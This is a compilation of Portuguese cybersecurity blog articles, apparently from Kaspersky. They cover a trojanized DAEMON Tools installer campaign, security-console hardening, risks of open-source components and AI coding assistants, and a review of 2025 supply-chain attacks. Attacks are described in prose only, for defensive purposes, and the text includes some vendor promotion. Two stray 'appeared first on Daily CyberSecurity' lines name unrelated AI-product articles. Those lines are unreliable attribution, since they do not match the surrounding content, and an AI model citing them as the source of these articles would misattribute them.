Nossos especialistas descobriram um ataque à cadeia de suprimentos em grande escala via DAEMON Tools – software para emulação de unidades ópticas. Os invasores conseguiram injetar código malicioso nos instaladores do software, e todos os arquivos executáveis trojanizados estão assinados com uma assinatura digital válida da AVB Disc Soft – a desenvolvedora do DAEMON Tools. A versão maliciosa do programa está em circulação desde 8 de abril de 2026. No momento da redação deste artigo, o ataque ainda está em andamento. Os pesquisadores da Kaspersky acreditam que se trata de um ataque direcionado.

Quais são os riscos de instalar a versão maliciosa do DAEMON Tools?

Depois que o software infectado com trojan é instalado no computador da vítima, um arquivo malicioso é executado toda vez que o sistema é inicializado – enviando uma solicitação a um servidor de comando e controle. Em resposta, o servidor pode enviar um comando para baixar e executar cargas maliciosas adicionais.

Primeiro, os invasores implantam um coletor de informações que reúne o endereço MAC, o nome do host, o nome de domínio DNS, listas de processos em execução e de softwares instalados, além das configurações de idioma. O malware então envia essas informações para o servidor de comando e controle.

Em alguns casos, em resposta às informações coletadas, o servidor de comando envia um backdoor minimalista para a máquina da vítima. Ele é capaz de baixar cargas maliciosas adicionais, executar comandos de shell e rodar módulos de shellcode na memória.

O backdoor pode ser usado para implantar um implantado mais sofisticado chamado QUIC RAT. Ele suporta vários protocolos de comunicação com o servidor de comando e controle e é capaz de injetar cargas maliciosas nos processos notepad.exe e conhost.exe.

Informações técnicas mais detalhadas, juntamente com indicadores de comprometimento, podem ser encontradas no artigo dos especialistas no blog Securelist.

Quem está sendo alvo?

Desde o início de abril, foram detectadas várias milhares de tentativas de instalar cargas maliciosas adicionais por meio do software DAEMON Tools infectado. A maioria dos dispositivos infectados pertencia a usuários domésticos, mas aproximadamente 10% das tentativas de instalação foram detectadas em sistemas em execução em organizações. Geograficamente, as vítimas estavam espalhadas por cerca de cem países e territórios diferentes. A maioria das vítimas estava localizada na Rússia, Brasil, Turquia, Espanha, Alemanha, França, Itália e China.

Na maioria das vezes, o ataque se limitava à instalação de um coletor de informações. O backdoor infectou apenas uma dúzia de máquinas em organizações governamentais, científicas e de manufatura, bem como em empresas de varejo na Rússia, Bielorrússia e Tailândia.

O que exatamente foi infectado

O código malicioso foi detectado nas versões do DAEMON Tools que vão da 12.5.0.2421 à 12.5.0.2434. Os invasores comprometeram os arquivos DTHelper.exe, DiscSoftBusServiceLite.exe e DTShellHlp.exe, que estão instalados no diretório principal do DAEMON Tools.

Como se proteger?

Se o software DAEMON Tools for utilizado no seu computador (ou em qualquer outro local da sua organização), nossos especialistas recomendam verificar minuciosamente os computadores nos quais ele está instalado em busca de qualquer atividade incomum a partir de 8 de abril.

Além disso, recomendamos o uso de soluções de segurança confiáveis em todos os computadores domésticos e corporativos usados para acessar a internet. Nossas soluções protegem com sucesso os usuários contra todos os malwares usados no ataque à cadeia de suprimentos via DAEMON Tools.

The post The End of Unlimited AI: GitHub Copilot Shifts to “Pay-as-You-Go” Credits to Power the Agentic Era appeared first on Daily CyberSecurity.

As empresas atuam de forma sistemática para reduzir a superfície de ataque. Eles segmentam redes, gerenciam vulnerabilidades, implementam EDR/XDR e buscam automatizar as respostas a incidentes. Por mais paradoxal que pareça, muitas vezes ignoram um ponto crucial: a segurança das próprias ferramentas que gerenciam todo o sistema de defesa.

Isso pode acontecer por um ponto cego de percepção. É comum presumir que, por ter implementado todas as soluções de segurança necessárias, a organização já está protegida. Na prática, qualquer software adicional, inclusive de segurança, amplia a superfície de ataque. Isso significa que essas ferramentas também precisam ser protegidas, começando por um ajuste adequado das configurações.

Por que a violação de um console de segurança é um cenário crítico?

As ferramentas de segurança são tão robustas quanto o ambiente em que operam. Se um invasor conseguir acessar a infraestrutura e assumir o controle do console de gerenciamento, ele passa a ter controle total do ambiente. É como uma chave mestra, que dá acesso direto ao gerenciamento centralizado de políticas, monitoramento de endpoints, integrações de API e outros recursos.

Nesse cenário, o invasor não precisa perder tempo para buscar formas sofisticadas de contornar defesas, basta alterar as configurações. Com acesso ao console, o invasor elimina as etapas mais difíceis de um ataque:

• não precisa mapear a rede, pois o console oferece uma visão completa da infraestrutura e da arquitetura de segurança de forma imediata.
• não precisa ocultar atividades maliciosas, podendo apenas ajustar políticas, desativar ferramentas ou silenciar alertas.
• em vez de distribuir cargas maliciosas de forma discreta, pode usar os próprios recursos do console para instalar softwares e atualizações em massa.

Por isso o comprometimento da camada de controle é tão perigoso. Uma abordagem proativa de cibersegurança não depende da quantidade de ferramentas, mas da resiliência da arquitetura de segurança. Se a camada de controle for o ponto fraco, nenhum software avançado diminuirá esse risco.

Como proteger o console de segurança

Em teoria, a maioria dos sistemas de gerenciamento já conta com os recursos necessários para reforçar a proteção. Qual é o problema? Essas medidas, até as mais básicas como autenticação em dois fatores, costumam estar disponíveis, mas não são obrigatórias. As recomendações de segurança são publicadas, mas nem sempre aplicadas de uma maneira consistente. Em alguns casos, são simplesmente ignoradas. Pior ainda, configurações críticas ativadas por padrão podem ser desativadas com um clique, afetando todos os usuários imediatamente. Sejamos honestos: muitas vezes esses recursos são desativados por conveniência.

No mundo real, isso faz com que a segurança acabe dependendo da disciplina individual do administrador. Porém, a disciplina não substitui um mecanismo estrutural de defesa.

A abordagem moderna prioriza o modelo seguro por padrão na proteção da camada de controle. Nesse modelo, as proteções críticas estão integradas à configuração básica, com restrições na capacidade de desativação global. Assim, a segurança deixa de ser opcional.

O objetivo é eliminar incertezas em termos de segurança das ferramentas defensivas e reduzir a superfície de ataque no nível de gerenciamento.

Como implementamos essa abordagem no Kaspersky Security Center Linux

Nossos produtos estão evoluindo de forma consistente para um modelo em que mecanismos críticos fazem parte da arquitetura básica, e não são opcionais. Lançamos recentemente a versão 16.1 do Kaspersky Security Center Linux, que incorpora essa mudança ao reforçar o controle de acesso ao console. Agora, a autenticação de dois fatores está ativada por padrão, e a possibilidade de desativação global foi removida. Antes de atualizar, é necessário garantir que todos os usuários utilizem autenticação de dois fatores (2FA), incluindo acessos pelo Web Console e automações com OpenAPI.

Isso estabelece uma proteção essencial para acessos privilegiados ao console. Reduz o risco de comprometimento de contas administrativas, protege canais de automação, diminui a probabilidade de uso indevido de APIs e elimina vulnerabilidades decorrentes de configurações opcionais. Dessa forma, a superfície de ataque é reduzida especificamente no gerenciamento da camada de controle.

No entanto, como já mencionado, o problema geralmente não é a falta de recursos, mas a ausência de controle sistemático sobre seu uso. Por exemplo, é comum haver administradores com privilégios excessivos ou configurações inseguras de conexão ao servidor. Já disponibilizamos um guia de reforço da proteção para o Kaspersky Security Center que aborda esses pontos em detalhe, mas, infelizmente, nem todos dedicam tempo para ler manuais técnicos extensos.

Para garantir que nada seja ignorado, reunimos uma lista de verificação estruturada para reforçar a segurança do Kaspersky Security Center Linux, versão 16.1. Esta lista de verificação:

• permite verificar se autenticação e acessos estão configurados corretamente
• ajuda a identificar usuários e funções com privilégios excessivos
• orienta sobre como restringir o acesso de rede ao console
• reforça a proteção de APIs
• fortalece os requisitos de criptografia
• garante a correta configuração de auditoria e logs
• reduz o risco de falhas de configuração

Essencialmente, é uma ferramenta de auditoria sistemática da camada de controle. Ela evita que o console se torne um ponto de entrada ou facilite a movimentação lateral de invasores. Quanto menos configurações críticas dependerem do usuário, menor o risco de erro ou comprometimento.

Autenticação reforçada e reforço estruturado do console não são ajustes pontuais, mas uma abordagem mais robusta de gestão de segurança. A proposta é evoluir essa camada de forma contínua, reduzindo a superfície de ataque não só nos endpoints, mas também no próprio sistema de gerenciamento. Saiba mais sobre o Kaspersky Security Center na página do console e acesse a lista de verificação de proteção disponível no site de suporte técnico.

The post OpenAI Launches “Workspace Agents” to Industrialize Corporate Labor appeared first on Daily CyberSecurity.

Como já comentamos em uma postagem anterior, o desenvolvimento de produtos de software modernos é praticamente impossível sem o uso de componentes de código aberto. Mas, nos últimos anos, os riscos associados a isso tornaram-se cada vez mais diversos, complexos e numerosos. Devemos considerar que, primeiro, as vulnerabilidades afetam a infraestrutura e o código de uma empresa mais rapidamente do que são corrigidas; segundo, os dados são incompletos e pouco confiáveis; e, terceiro, malware pode estar escondido em componentes populares. Portanto, não basta simplesmente verificar os números de versão e solicitar que a equipe de TI corrija os problemas. O gerenciamento de vulnerabilidades deve ser expandido para abranger políticas de download de software, proteções para assistentes de IA e todo o pipeline de criação de software.

Um conjunto confiável de componentes de código aberto

A principal característica de uma solução é impedir o uso de código vulnerável e malicioso. As seguintes medidas devem ser implementadas:

• Ter um repositório interno de artefatos. A fonte única de componentes para desenvolvimento interno precisa ser um repositório unificado no qual os componentes são admitidos somente após uma série de verificações.
• Fazer uma triagem rigorosa dos componentes. Isso inclui verificações de versões conhecidas do componente, versões vulneráveis e maliciosas conhecidas, data de publicação, histórico de atividades e reputação do pacote e de seus autores. É obrigatório verificar todo o conteúdo do pacote, incluindo instruções de compilação, casos de teste e outros dados auxiliares. Para filtrar o registro durante a ingestão, use verificadores de código aberto especializados ou uma solução de segurança abrangente de carga de trabalho na nuvem.
• Fixar versões de dependências. Os processos de compilação, as ferramentas de IA e os desenvolvedores não devem usar modelos (como “o mais recente”) ao especificar versões. As compilações do projeto precisam ser baseadas em versões verificadas. Ao mesmo tempo, as dependências com versões fixas devem ser atualizadas com frequência para as versões verificadas mais recentes que mantêm a compatibilidade e não contêm vulnerabilidades conhecidas. Isso reduz significativamente o risco de ataques à cadeia de suprimentos por meio do comprometimento de um pacote conhecido.

Aperfeiçoamento dos dados de vulnerabilidades

Para identificar vulnerabilidades com mais eficácia e priorizá-las de forma adequada, uma organização precisa estabelecer vários processos de TI e segurança:

• Enriquecimento de dados de vulnerabilidade. Dependendo das necessidades da organização, isso é necessário para enriquecer as informações combinando dados do NVD, EUVD, BDU, GitHub Advisory Database e osv.dev, ou para comprar um feed de inteligência de vulnerabilidades comercial no qual os dados já estão agregados e enriquecidos. Em ambos os casos, também vale a pena monitorar os feeds de inteligência de ameaças para rastrear tendências de exploração reais e obter um entendimento do perfil dos invasores que visam vulnerabilidades específicas. A Kaspersky fornece um feed de dados especializado especificamente focado em componentes de código aberto.
• Análise detalhada da composição do software. As ferramentas especializadas de análise de composição de software (SCA) permitem o mapeamento correto da cadeia de dependências no código-fonte aberto para realizar o inventário completo das bibliotecas que estão sendo usadas e descobrir componentes desatualizados ou sem suporte. Os dados sobre componentes íntegros também são úteis para enriquecer o registro de artefatos.
• Identificação do abandonware. Mesmo que um componente não apresente vulnerabilidades formais e o encerramento do suporte ainda não tenha sido declarado oficialmente, o processo de verificação deve sinalizar os componentes que não receberam atualizações há mais de um ano. Isso garante uma análise separada e uma possível substituição, assim como ocorre com os componentes em EOL (fim da vida útil).

Proteção do código e dos agentes de IA

As atividades dos sistemas de IA usados na codificação devem ser agrupadas em um conjunto abrangente de medidas de segurança: desde a filtragem de dados de entrada até o treinamento do usuário:

• Restrições de recomendações de dependências. Configure o ambiente de desenvolvimento para garantir que os agentes e assistentes de IA consultem apenas componentes e bibliotecas do registro de artefatos confiável. Se eles não contiverem as ferramentas corretas, o modelo deve acionar uma solicitação para incluir a dependência no registro em vez de extrair algo do PyPI que apenas corresponda à descrição.
• Filtragem das saídas do modelo. Apesar dessas restrições, tudo o que for gerado pelo modelo também deve ser verificado para garantir que o código de IA não contenha dependências desatualizadas, sem suporte, vulneráveis ou inventadas. Essa verificação deve ser integrada diretamente no processo de aceitação do código ou no estágio de preparação da compilação. Ela não substitui o processo de análise estática tradicional: as ferramentas SAST ainda devem ser incorporadas no pipeline de CI/CD.
• Treinamento do desenvolvedor. As equipes de TI e de segurança devem estar extremamente familiarizadas com as características dos sistemas de IA, seus princípios operacionais e erros comuns. Para conseguir isso, os funcionários devem completar um curso de treinamento especializado, adaptados às suas funções específicas.

Remoção sistemática de componentes em EOL

Se os sistemas de uma empresa utilizarem componentes de código aberto desatualizados, deve-se adotar uma abordagem sistemática e consistente para lidar com as vulnerabilidades. Existem três métodos principais para fazer isso:

• Migração. Este é o método mais complexo e caro para uma organização, pois envolve a substituição total de um componente, seguida pela adaptação, reescrita ou substituição dos aplicativos construídos sobre ele. Decidir sobre uma migração é muito mais difícil quando se exige uma revisão geral de todo o código interno. Isso costuma afetar os componentes principais: é impossível migrar facilmente do Node.js 14 ou do Python 2.
• Suporte de longo prazo (LTS). Existe um mercado de serviços de suporte dedicado para projetos legados de larga escala. Às vezes, isso envolve uma bifurcação do sistema legado mantido por desenvolvedores de terceiros; em outros casos, equipes especializadas fazem o backport de patches que corrigem vulnerabilidades específicas em versões mais antigas e sem suporte. A transição para o LTS geralmente exige custos de suporte contínuos, mas, em muitos casos, isso ainda pode ser mais econômico do que uma migração completa.
• Controles compensatórios. Com base nos resultados de análises detalhadas, é possível criar um conjunto de medidas de segurança abrangentes para mitigar o risco de exploração das vulnerabilidades de um produto legado. Tanto a eficácia quanto a viabilidade econômica dessa abordagem dependem da função do software na organização.

Os departamentos de segurança, TI e negócios devem trabalhar juntos para escolher um desses três métodos para cada componente abandonado ou com EOL documentado e refletir a escolha feita nos registros de ativos e SBOMs da empresa.

Gerenciamento de vulnerabilidades de código aberto baseado em risco

Todos os métodos listados acima reduzem o volume de softwares e componentes vulneráveis que entram na organização, o que simplifica a detecção e a correção de falhas. Apesar disso, é impossível eliminar todos os defeitos: o número de aplicativos e componentes está crescendo muito rápido.

Portanto, é essencial priorizar as vulnerabilidades com base nos riscos reais que elas representam. O modelo de avaliação de risco deve ser expandido para considerar as características do código aberto, além de responder às seguintes perguntas:

• A ramificação do código vulnerável é realmente executada no ambiente da organização? Deve-se realizar uma análise de acessibilidade das vulnerabilidades descobertas. Muitos snippets de código defeituosos nunca são realmente executados na implementação específica da organização, fazendo com que seja impossível explorar a vulnerabilidade. Certas soluções de SCA podem realizar esta análise. Esse mesmo processo permite avaliar um cenário alternativo: o que acontece se os procedimentos ou componentes vulneráveis forem removidos completamente do projeto? Às vezes, esse método de remediação é surpreendentemente indolor.
• O defeito está sendo explorado em ataques reais? Há um PoC disponível? As respostas a essas perguntas fazem parte de estruturas de priorização padrão, como EPSS, mas o rastreamento deve ser realizado em um conjunto muito mais amplo de fontes de inteligência.
• A atividade de criminosos cibernéticos foi relatada nesse registro de dependência ou em componentes relacionados e semelhantes? Estes são fatores adicionais para a priorização.

A consideração desses fatores permite que a equipe aloque recursos de forma eficaz e corrija os defeitos mais perigosos primeiro.

A transparência nunca sai de moda

O padrão de segurança para softwares de código aberto só vai continuar subindo. As empresas que desenvolvem aplicativos, mesmo que para uso interno, enfrentarão pressões regulatórias que exigem segurança cibernética documentada e verificável nos seus sistemas. De acordo com as estimativas dos especialistas da Sonatype, 90% das empresas em todo o mundo já se enquadram em um ou mais requisitos que as obrigam a fornecer provas da confiabilidade do software que usam. Portanto, os especialistas consideram a transparência “o pilar fundamental da segurança da cadeia de suprimento de software”.

Ao controlar o uso de componentes e aplicativos de código aberto, enriquecer a inteligência contra ameaças e fazer o monitoramento rigoroso dos sistemas de desenvolvimento orientados por IA, as organizações podem introduzir as inovações que tanto desejam, ao mesmo tempo em que atingem o padrão elevado definido por reguladores e clientes.

Até bem pouco tempo, somente as empresas especializadas em software e as gigantes em tecnologia precisavam se preocupar com as vulnerabilidades de código aberto e os ataques direcionados contra a cadeia de suprimentos. Porém, os tempos mudaram. Hoje, até mesmo as pequenas empresas estão mantendo suas próprias lojas de desenvolvimento, e isso torna o problema significativo para todo mundo. De maneira ininterrupta, as equipes internas de TI das empresas estão ocupadas escrevendo código, configurando integrações e automatizando fluxos de trabalho, mesmo que o negócio principal não tenha absolutamente nada a ver com software. É o que a eficiência empresarial moderna exige. No entanto, como consequência disso, surge uma nova geração de vulnerabilidades de software, o tipo muito mais complicado de corrigir do que apenas instalar a atualização mais recente do Windows.

O desenvolvimento de software moderno é inseparável dos componentes de código aberto. Porém, os riscos associados proliferaram nos últimos anos, além de terem aumentado em variedade e sofisticação. Estamos testemunhado a injeção de código malicioso em repositórios populares, dados de vulnerabilidade fragmentados e com falhas, o uso sistemático de componentes desatualizados e vulneráveis e as cadeias de dependência cada vez mais complexas.

A escassez de dados de vulnerabilidade para código aberto

Mesmo que sua organização tenha um processo de gerenciamento de vulnerabilidades sólido para software comercial de terceiros, é possível constatar que o código aberto requer uma revisão completa desse processo. Os bancos de dados públicos mais usados geralmente são incompletos, imprecisos ou simplesmente lentos para obter atualizações quando se trata de código aberto. Isso transforma a priorização de vulnerabilidades em um jogo de adivinhação. Por mais automação que possa existir, ela será inútil se os dados de referência estiverem cheios de falhas.

De acordo com os dados da Sonatype, cerca de 65% das vulnerabilidades de código aberto atribuídas a um CVE ID não possuem uma pontuação de vulnerabilidade (CVSS) no NVD, a base de conhecimento de vulnerabilidades mais usada. Dessas vulnerabilidades não pontuadas, quase 46% seriam classificadas como alta, se analisadas adequadamente.

Mesmo quando uma pontuação CVSS está disponível, fontes diferentes estão de acordo apenas no que se refere à gravidade em cerca de 55% das vezes. Um banco de dados pode sinalizar uma vulnerabilidade como crítica, enquanto outro recebe uma pontuação média para ela. Metadados mais detalhados, como as versões de pacotes afetadas, também costumam estar repletos de erros e inconsistências. Seus verificadores de vulnerabilidades que comparam versões de software acabam gerando falsos positivos ou fornecendo falsamente um atestado de integridade.

O déficit nos dados de vulnerabilidade está crescendo e o processo de geração de relatórios está ficando mais lento. Nos últimos cinco anos, o número total de CVEs dobrou, mas o número de CVEs sem uma pontuação de gravidade explodiu por um fator de 37. De acordo com a Tenable, até 2025, o código de exploração de prova de conceito (PoC) esteve normalmente disponível dentro de uma semana após a descoberta de uma vulnerabilidade, mas obter a mesma vulnerabilidade listada no NVD levou em média 15 dias. Os processos de aprimoramento, como atribuir uma pontuação CVSS, são ainda mais lentos, a Sonatype no mesmo estudo estima que o tempo médio para atribuir uma pontuação CVSS é de 41 dias, com alguns defeitos permanecendo sem classificação por até um ano.

O problema do código aberto legado

Bibliotecas, aplicativos e serviços que não são mais mantidos, que foram abandonados ou que atingiram seu fim de vida útil (EOL), podem ser encontrados em 5 a 15% dos projetos corporativos, de acordo com a HeroDevs. Em cinco registros populares de código aberto, há pelo menos 81 mil pacotes que contêm vulnerabilidades conhecidas, mas pertencem a versões desatualizadas e sem suporte. Esses pacotes nunca verão os patches oficiais. Essa “bagagem legada” é responsável por cerca de 10% dos pacotes no Maven Central e no PyPI, e impressionantes 25% no npm.

Usar esse tipo de código aberto quebra o ciclo de vida padrão do gerenciamento de patches: não é possível atualizar, automática ou manualmente, uma dependência que não é mais compatível. Além disso, quando as versões EOL são omitidas dos boletins de vulnerabilidades oficiais, os verificadores de segurança podem categorizá-las como “não afetadas” por um defeito e ignorá-las.

Um excelente exemplo disso é o Log4Shell, a vulnerabilidade crítica (CVSS 10) na popular biblioteca Log4j descoberta em 2021. A versão vulnerável foi responsável por 40 milhões dos 300 milhões de downloads do Log4j em 2025. É importante ressaltar que estamos falando de uma das vulnerabilidades mais infames e amplamente relatadas da história, uma que foi ativamente explorada, corrigida pelo desenvolvedor e tratada em todos os principais produtos derivados. A situação para os defeitos menos divulgados é significativamente pior.

Para agravar esse problema, existe a lacuna de visibilidade. Muitas organizações não têm as ferramentas necessárias para mapear uma árvore de dependências completa ou obter visibilidade total dos pacotes e versões específicos integrados em sua pilha de software. Desse modo, os componentes desatualizados geralmente permanecem invisíveis e nunca entram na fila de correção.

Malware em registros de código aberto

Os ataques que envolvem pacotes de código aberto infectados ou inerentemente maliciosos se tornaram uma das ameaças de crescimento mais rápida para a cadeia de fornecimento de software. De acordo com pesquisadores da Kaspersky, aproximadamente 14 mil pacotes maliciosos foram descobertos em registros populares até o final de 2024, um aumento de 48% a cada ano. A Sonatype relatou um aumento ainda mais explosivo ao longo de 2025 e detectou mais de 450 mil pacotes maliciosos.

A motivação por trás desses ataques varia muito: roubo de criptomoedas, coleta de credenciais de desenvolvedor, espionagem industrial, obtenção de acesso à infraestrutura por meio de pipelines de CI/CD ou comprometimento de servidores públicos para hospedar campanhas de spam e phishing. Essas táticas são empregadas tanto por grupos APT de espionagem quanto por criminosos virtuais motivados financeiramente. É cada vez mais comum a violação de um pacote de código aberto ser apenas o primeiro passo de uma violação corporativa em vários estágios.

Cenários de ataque comuns incluem comprometer as credenciais de um mantenedor de pacote de código aberto legítimo, publicar uma biblioteca “útil” com código malicioso integrado ou publicar uma biblioteca maliciosa com um nome quase idêntico a um popular. Uma tendência particularmente alarmante em 2025 foi o aumento de ataques automatizados semelhantes a worms. O exemplo mais notório é a campanha Shai-Hulud. Nesse caso, o código malicioso roubou os tokens do GitHub e npm e continuou infectando novos pacotes, eventualmente se espalhando para mais de 700 pacotes npm e dezenas de milhares de repositórios. Ele vazou segredos de CI/CD e chaves de acesso à nuvem para o domínio público no processo.

Embora esse cenário não esteja tecnicamente relacionado a vulnerabilidades, as ferramentas de segurança e as políticas necessárias para seu gerenciamento são as mesmas usadas para o gerenciamento de vulnerabilidades.

Como os agentes de IA aumentam os riscos do uso de código aberto

A integração apressada e onipresente de agentes de IA no desenvolvimento de software aumenta significativamente a velocidade do desenvolvedor, mas também amplifica qualquer erro. Sem supervisão rigorosa e proteções claramente definidas, o código gerado por IA fica excepcionalmente vulnerável. A pesquisa mostra que 45% do código gerado por IA contém falhas da lista OWASP Top 10, enquanto 20% dos aplicativos orientados por IA implementados abrigam erros de configuração perigosos. Isso acontece porque os modelos de IA são treinados em grandes conjuntos de dados que incluem grandes volumes de código desatualizado, demonstrativo ou puramente educacional. Esses problemas sistêmicos ressurgem quando um modelo de IA decide quais componentes de código aberto devem ser incluídos em um projeto. O modelo costuma não saber quais versões do pacote existem no momento, nem quais foram sinalizadas como vulneráveis. Em vez disso, ele sugere uma versão de dependência extraída de seus dados de treinamento, que, provavelmente, estará obsoleta. Em alguns casos, os modelos tentam chamar versões inexistentes ou bibliotecas totalmente alucinadas. Isso abre a porta para ataques de confusão de dependência.

Em 2025, mesmo os principais LLMs recomendaram versões de dependência incorretas, simplesmente inventando uma resposta, em 27% dos casos.

A IA pode simplesmente corrigir tudo?

É uma ideia simples e tentadora: basta apontar um agente de IA para sua base de código para que ele procure e corrija todas as vulnerabilidades. Infelizmente, a IA não pode resolver totalmente esse problema. Os obstáculos fundamentais que discutimos prejudicam os agentes de IA tanto quanto os desenvolvedores humanos. Se os dados de vulnerabilidade estiverem ausentes ou não forem confiáveis, em vez de encontrar vulnerabilidades conhecidas, será necessário redescobrir tudo do zero. Esse processo consome muitos recursos e requer conhecimento de nicho que permanece fora do alcance da maioria das empresas.

Além disso, se uma vulnerabilidade for descoberta em um componente obsoleto ou sem suporte, um agente de IA não poderá “corrigir automaticamente” a vulnerabilidade. Ainda será preciso desenvolver patches personalizados ou executar uma migração complexa. Se uma falha estiver profundamente oculta em uma cadeia de dependências, é provável que a IA ignore isso completamente.

O que fazer?

Para minimizar os riscos descritos acima, será necessário expandir o processo de gerenciamento de vulnerabilidades para incluir políticas de download de pacotes de código aberto, regras operacionais do assistente de IA e o processo de compilação do software. Isso inclui:

• usar uma solução abrangente de segurança de carga de trabalho na nuvem;
• verificar pacotes de código aberto usados no processo de desenvolvimento de software com feeds de inteligência de ameaças para componentes de código aberto;
• considerar medidas de segurança para proteger o código de IA e os agentes de IA;
• remover sistematicamente os componentes de código aberto obsoletos.

É possível ler mais detalhes sobre o gerenciamento de vulnerabilidades em código aberto em uma postagem de blog dedicada.

Os ataques a cadeias de suprimentos têm sido uma das categorias mais perigosas de incidentes de cibersegurança há anos. Se o ano de 2025 nos ensinou alguma coisa, é que os cibercriminosos estão aumentando sua capacidade de ataque. Nesta análise detalhada, veremos ataques a cadeias de suprimentos realizados em 2025 que, embora não sejam os que causaram maiores prejuízos financeiros, certamente foram os mais incomuns e chamaram a atenção do setor.

Janeiro de 2025: um RAT encontrado no repositório do GitHub do DogWifTools

Como um “aquecimento” após o fim de ano, os cibercriminosos realizaram inúmeros ataques de backdoor a várias versões do DogWifTools. Trata-se de um utilitário projetado para lançar e promover vigorosamente moedas de meme baseadas em Solana no Pump.fun. Depois de comprometer o repositório privado do GitHub para o DogWifTools, os invasores esperaram os desenvolvedores carregarem uma nova versão do utilitário, injetaram um RAT nela e trocaram o programa legítimo por uma versão maliciosa apenas algumas horas depois. De acordo com os desenvolvedores, os agentes de ameaças instalaram com êxito as versões 1.6.3 a 1.6.6 do DogWifTools para Windows.

O golpe final foi dado no fim de janeiro. Depois de usar o RAT para coletar uma grande quantidade de dados dos dispositivos infectados, os invasores esvaziaram as carteiras de criptomoedas das vítimas. As vítimas estimaram o total de mais de USD 10 milhões em criptomoedas, mas os invasores contestaram esse número, embora não tenham revelado exatamente o valor total roubado.

Fevereiro de 2025: roubo de USD 1,5 bilhão do Bybit

Se janeiro foi só o aquecimento, o mês de fevereiro foi um colapso total. A invasão da plataforma de câmbio de criptomoedas Bybit superou completamente os incidentes anteriores, tornando-se o maior roubo de criptomoedas da história. Os invasores conseguiram comprometer o software Safe{Wallet}, a solução de armazenamento a frio de múltiplas assinaturas na qual a empresa confiava para gerenciar os seus ativos.

Os funcionários da Bybit pensaram que estavam assinando uma transação de rotina. Na realidade, eles estavam autorizando um contrato inteligente malicioso. Uma vez executado, ele esvaziou os fundos de uma carteira fria principal e os distribuiu em várias centenas de endereços controlados pelo invasor. A transferência final ultrapassou 400 mil ETH/stETH, com um impressionante valor total de aproximadamente… USD 1,5 bilhão!

Março de 2025: Coinbase é alvo de comprometimento em cascata do GitHub Actions

O ano de 2025 seguiu com um ataque sofisticado que usou o comprometimento de vários GitHub Actions, os padrões de fluxo de trabalho usados para automatizar tarefas de DevOps padrão, como seu principal mecanismo de entrega. Tudo começou com o roubo de um token de acesso pessoal pertencente a um mantenedor da ferramenta de análise SpotBugs. Usando esse ponto de apoio, os invasores publicaram um processo malicioso e conseguiram sequestrar um token de um mantenedor do fluxo de trabalho reviewdog/action-setup, que também estava envolvido no projeto.

A partir daí, eles comprometeram uma dependência, o fluxo de trabalho tj-actions/changed-files, modificando-o para executar um script Python malicioso. Esse script foi projetado para procurar segredos de alto valor, como chaves da AWS, do Azure e do Google Cloud, tokens do GitHub e do NPM, credenciais de banco de dados e chaves privadas do RSA. Por incrível que pareça, o script gravou tudo o que encontrou diretamente nos registros de compilação acessíveis ao público em geral. Isso significa que os dados vazados não estavam disponíveis apenas para os invasores, mas também para qualquer pessoa experiente o suficiente para acessá-los.

O alvo original dessa operação era um repositório pertencente à plataforma de câmbio de criptomoedas Coinbase. Felizmente, os desenvolvedores detectaram a ameaça a tempo e impediram o comprometimento. Ao que tudo indica, depois de perceberem que estavam prestes a perder o controle do pipeline tj-actions/changed-files, os invasores adotaram uma abordagem indiscriminada. Isso colocou 23 mil repositórios em risco de vazamento de segredos. No final, várias centenas desses repositórios realmente tiveram suas credenciais confidenciais expostas ao público.

Abril de 2025: um backdoor em 21 extensões do Magento

Em abril, uma infecção foi descoberta em um amplo conjunto de extensões do Magento, uma das plataformas mais populares para a criação de lojas on-line. O backdoor foi incorporado em 21 módulos desenvolvidos por três fornecedores: Tigren, Meetanshi e MGS. As extensões faziam parte da infraestrutura de várias centenas de empresas de comércio eletrônico, incluindo pelo menos uma corporação multinacional.

De acordo com os pesquisadores que o descobriram, o backdoor na verdade foi implantado em 2019. Em abril de 2025, os invasores o acionaram para comprometer sites e fazer o upload de web shells. Isso foi feito por meio de uma função incorporada nas extensões que executava um código arbitrário extraído de um arquivo de licença.

Por ironia, os módulos infectados incluíam o MGS GDPR e o Meetanshi CookieNotice. Como os nomes sugerem, essas extensões foram projetadas para ajudar os sites a cumprir os regulamentos de privacidade e processamento de dados dos usuários. Por fim, em vez de garantir a privacidade, o uso deles provavelmente levou ao roubo de dados e ativos financeiros do usuário por meio de skimming digital.

Maio de 2025: ransomware distribuído por meio de um MSP comprometido

Em maio, os agentes de ransomware da gangue DragonForce obtiveram acesso à infraestrutura de um provedor de serviços gerenciados (MSP) não identificado e a usaram para distribuir um ransomware e roubar dados das organizações clientes do MSP.

Ao que tudo indica, os invasores exploraram várias vulnerabilidades (incluindo uma falha crítica) no SimpleHelp, a ferramenta de monitoramento e gerenciamento remoto usada pelo MSP. Essas vulnerabilidades foram descobertas em 2024 e divulgadas publicamente e corrigidas em janeiro de 2025. Infelizmente, ficou claro que o MSP optou por não acelerar o processo de atualização, um atraso que a gangue do ransomware ficou mais do que feliz em explorar.

Junho de 2025: um backdoor em mais de uma dúzia de pacotes npm populares

No início do verão, os invasores invadiram a conta de um dos mantenedores da biblioteca Glustack e usaram um token de acesso roubado para injetar backdoors em 17 pacotes npm. O mais popular desses pacotes, @react-native-aria/interactions, ostentava 125 mil downloads semanais, enquanto todos os pacotes comprometidos combinados totalizaram mais de um milhão.

O que é particularmente interessante nesse caso são as etapas que os desenvolvedores do Glustack seguiram após o incidente: primeiro, eles restringiram o acesso ao repositório GitHub para contribuidores secundários; segundo, eles ativaram a autenticação de dois fatores (2FA) para publicar novas versões; e terceiro, eles prometeram implementar práticas de desenvolvimento seguras, como fluxo de trabalho baseado em pull requests, revisões sistemáticas de código, registro de auditorias e assim por diante. Em outras palavras, antes do incidente, um projeto com centenas de milhares de downloads semanais não tinha tais medidas em vigor.

Julho de 2025: pacotes npm populares infectados por meio de um ataque de phishing

Em julho, os pacotes npm foram novamente as estrelas do show, incluindo o pacote amplamente usado chamado “is”, que possui 2,7 milhões de downloads semanais. Essa biblioteca de utilitários JavaScript fornece uma ampla variedade de funções de verificação de tipo e validação de valor. Para realizar um ataque de phishing contra um dos proprietários do projeto, os invasores utilizaram com êxito um truque antigo: o typosquatting (usar o domínio npnjs.com em vez de npmjs.com) e um clone do site oficial do npm.

Em seguida, eles usaram a conta comprometida para publicar várias das suas próprias versões do pacote com um backdoor incorporado. A infecção passou desapercebida por seis horas: tempo suficiente para um grande número de desenvolvedores baixarem os pacotes npm maliciosos.

